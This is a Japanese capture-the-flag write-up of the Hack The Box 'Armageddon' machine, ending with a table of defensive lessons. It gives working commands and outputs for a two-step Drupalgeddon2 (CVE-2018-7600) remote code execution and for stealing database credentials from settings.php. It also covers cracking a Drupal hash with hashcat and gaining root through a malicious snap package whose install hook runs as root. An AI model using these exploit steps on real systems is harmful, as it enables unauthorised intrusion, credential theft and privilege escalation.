Hack The BoxのWriteup(Armageddon)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Armageddon — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (Drupal 7)
→
CVE-2018-7600
Drupalgeddon2 二段階RCE
→
apacheユーザーでRCE
→
settings.php窃取
MySQL drupaluser資格情報
→
usersテーブル→Drupal7ハッシュ
hashcat -m 7900
→
SSH brucetherealadmin → user.txt ✓
→
sudo snap install *
悪意あるsnapパッケージ
→
installフック(root実行)
root.txtコピー
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.48.89
nmap -sV -sC -p 22,80 10.129.48.89
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

CMS特定とrobots.txt

BASH
curl -sI http://10.129.48.89/
curl -s http://10.129.48.89/robots.txt
RESULT (本検証の実際の出力)
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
X-Generator: Drupal 7 (http://drupal.org)

(robots.txt)
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
...
Disallow: /CHANGELOG.txt
Disallow: /user/password/
Disallow: /?q=user/password/
...
🚨
重要発見: レスポンスヘッダーX-Generatorと robots.txtの内容(/user/password/等のDrupal特有パスを 多数Disallow)から、Drupal 7が稼働していることが 確定できる。CHANGELOG.txtを取得すればバージョンも 特定可能だが、Drupal 7系であれば既知の重大RCE脆弱性 CVE-2018-7600(通称Drupalgeddon2)をまず疑うべき。
PHASE 2

CVE-2018-7600 (Drupalgeddon2) — Forms API 二段階RCE

脆弱性の仕組み

NOTE
Drupal 7のForms APIレンダリング機構には、特定のフォーム要素プロパティ
(#post_render、#markup、#type等)をユーザー入力からの配列キーとして
受け取ってしまう設計上の不備があり、未認証のパスワードリセットフォーム
(user/password)経由で任意のPHPコールバック関数(passthru等)を
呼び出せてしまう。レスポンス自体には実行結果が直接含まれないため、
2段階の処理(①パラメータ注入でフォームを送信しform_build_idを取得、
②そのform_build_idを使ってAJAXコールバックを呼び出し実際に
コールバックを発火させ結果を取得)が必要。
BASH (Step 1: フォーム送信してform_build_idを取得)
curl -s -X POST "http://10.129.48.89/?q=user/password" \
  --data-urlencode "form_id=user_pass" \
  --data-urlencode "_triggering_element_name=name" \
  --data-urlencode "name[#post_render][]=passthru" \
  --data-urlencode "name[#markup]=id" \
  --data-urlencode "name[#type]=markup"
RESULT (抜粋)
<input type="hidden" name="form_build_id" value="form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />
BASH (Step 2: form_build_idを使いAJAXコールバックを発火)
curl -s -X POST \
  "http://10.129.48.89/?q=file/ajax/name/%23value/form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" \
  --data-urlencode "form_build_id=form-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
RESULT (JSONレスポンスのdataフィールド内に実行結果)
[..., {"command":"...", "data":"uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0", ...}]
✅
RCE成功! apacheユーザー(SELinux文脈 httpd_t)としてOSコマンドが実行できた。
⚠️
実装上の注意: コールバック関数にはexecではなく 必ずpassthruを使うこと。PHPのexec()は 標準出力の最後の1行しか返さないが、 passthru()は出力を全てそのまま標準出力へ流すため、 複数行の出力(例: ファイル全体のcat結果)も漏れなく取得できる。
PHASE 3

settings.php窃取 & DBハッシュクラック — user.txt取得

Drupal設定ファイルからDB資格情報を取得

BASH (Phase2のRCE手順をcat用に使い回す、コマンドのみ変更)
# passthru の #markup に以下を指定
cat /var/www/html/sites/default/settings.php
RESULT (本検証の実際の出力より抜粋)
$databases = array(
  'default' =>
  array(
    'default' =>
    array(
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
    ),
  ),
);

MySQLからユーザーハッシュを取得

BASH (同様にRCE経由で実行)
mysql -u drupaluser -p'CQHEy@9M*m23gBVj' drupal \
  -e "select name,pass from users where uid=1"
RESULT (本検証の実際の出力)
name                    pass
brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
ℹ️
Drupal 7独自のパスワードハッシュ形式($S$プレフィックス、 強化版phpass)。hashcatではモード7900(Drupal7)を 指定してクラックする。

hashcatでクラック & SSHログイン

BASH
echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt
hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 7900 hash.txt --show
RESULT
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
BASH
sshpass -p 'booboo' ssh brucetherealadmin@10.129.48.89 \
  "cat /home/brucetherealadmin/user.txt"
RESULT
ae765222de681f0fd0b34b2705c56266
user.txt — brucetherealadmin
ae765222de681f0fd0b34b2705c56266
PHASE 4

sudo snap install の悪用 — root.txt取得

sudo権限の確認

BASH
sudo -l
RESULT (本検証の実際の出力)
User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
🚨
重要発見: snap installを任意の引数で パスワード無しのroot権限で実行できる。Snapパッケージは インストール時にmeta/hooks/installという インストールフックスクリプトを自動実行する仕組みを 持っており、このフック自体をroot権限で実行させられる。

悪意あるSnapパッケージの構築

NOTE
Snapパッケージは squashfs 形式のアーカイブ。以下のディレクトリ構造を
作り mksquashfs で.snapファイルへパッケージングする:

  snap-user/
  ├── meta/
  │   ├── snap.yaml
  │   └── hooks/
  │       └── install   (実行権限755必須)

重要な落とし穴:
  - ビルド用の作業ディレクトリ自体を chmod 755 しておく必要がある
    (mkdtemp()が作る既定の700権限のままだとsnapdが
    "bad permissions" エラーで拒否する)
  - install フックは chmod 755 で実行可能にする
  - devmodeでインストールしたsnapのフックは/tmp が名前空間分離されて
    見えないため、出力はユーザーのホームディレクトリへ書く
  - snap.yaml に parts: キーは不要(それはsnapcraftのビルド用メタデータ
    であり、snapdのランタイムには関係ない)
BASH (meta/snap.yaml の内容)
name: snap-user
version: '0.1'
summary: pwn
description: pwn
grade: devel
confinement: devmode
BASH (meta/hooks/install の内容)
#!/bin/bash
cp /root/root.txt /home/brucetherealadmin/r00t.txt
chmod 644 /home/brucetherealadmin/r00t.txt
BASH (ビルド、本検証で実際に使用したコマンド)
mkdir -p snap-user/meta/hooks
# snap.yaml / install フックをそれぞれ配置
chmod 755 snap-user               # ← 作業ディレクトリのパーミッションが重要
chmod 755 snap-user/meta/hooks/install
mksquashfs snap-user evil.snap -noappend

snapのアップロード & インストール

BASH (SCPでsnapファイルをターゲットへ転送)
scp evil.snap brucetherealadmin@10.129.48.89:/home/brucetherealadmin/evil.snap
BASH (SSHシェル上でインストール実行)
sudo /usr/bin/snap install --devmode /home/brucetherealadmin/evil.snap
RESULT (本検証の実際の出力)
snap-user 0.1 installed
BASH
cat /home/brucetherealadmin/r00t.txt
RESULT (本検証の実際の出力)
84da937cc9d2ab2b1c8d73d7b2f0b271
✅
root化成功! snapインストール処理中に meta/hooks/installがroot権限で実行され、 /root/root.txtがbrucetherealadminが読める パスへコピーされた。
root.txt — sudo snap install インストールフック悪用
84da937cc9d2ab2b1c8d73d7b2f0b271
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — brucetherealadmin
ae765222de681f0fd0b34b2705c56266
root.txt — sudo snap install インストールフック悪用
84da937cc9d2ab2b1c8d73d7b2f0b271

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2018-7600 (Drupalgeddon2) Drupal 7.x (Forms API) 未認証リモートコード実行 (apacheユーザー) Critical user/passwordフォームへの#post_render等の配列キー注入で二段階RCE
設定ファイルの平文DBパスワード sites/default/settings.php データベース資格情報の窃取 High RCE経由でファイルを読取り、MySQLのusersテーブルハッシュを取得
sudo無制限のsnap install /usr/bin/snap install * (brucetherealadmin, NOPASSWD) 権限昇格 (root) Critical インストールフック(meta/hooks/install)にroot実行されるコマンドを仕込んだ悪意あるsnapパッケージを構築・インストール

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, X-Generatorヘッダー, robots.txt22/ssh, 80/http (Drupal 7)
2RCECVE-2018-7600 二段階Forms API RCEapacheユーザーでのコマンド実行
3資格情報窃取+横移動settings.php → MySQL → hashcat → SSHuser.txt (brucetherealadmin)
4権限昇格sudo snap install 悪意あるインストールフックroot.txt

学んだ教訓 & 防御策

問題点防御策
未パッチの古いDrupal 7が稼働し、公開から日の浅い重大CVEに対して脆弱 Drupalを含む全CMSを定期的に最新セキュリティパッチへ更新するプロセスを導入する。CVE公開後は速やかな緊急パッチ適用を徹底する。
データベース接続パスワードが設定ファイルに平文で保存されている 環境変数やシークレット管理サービスを利用し、設定ファイルへ平文パスワードを直接書かない。
一般ユーザーがsudoでsnap installを無制限に実行できる(任意パッケージのインストールフックがroot実行される) sudo権限は信頼できる特定のsnapパッケージ名・ソースに限定する。`snap install`のような汎用パッケージ管理コマンドの無制限sudo許可は避ける。
HackTheBox: Armageddon | 完全攻略レポート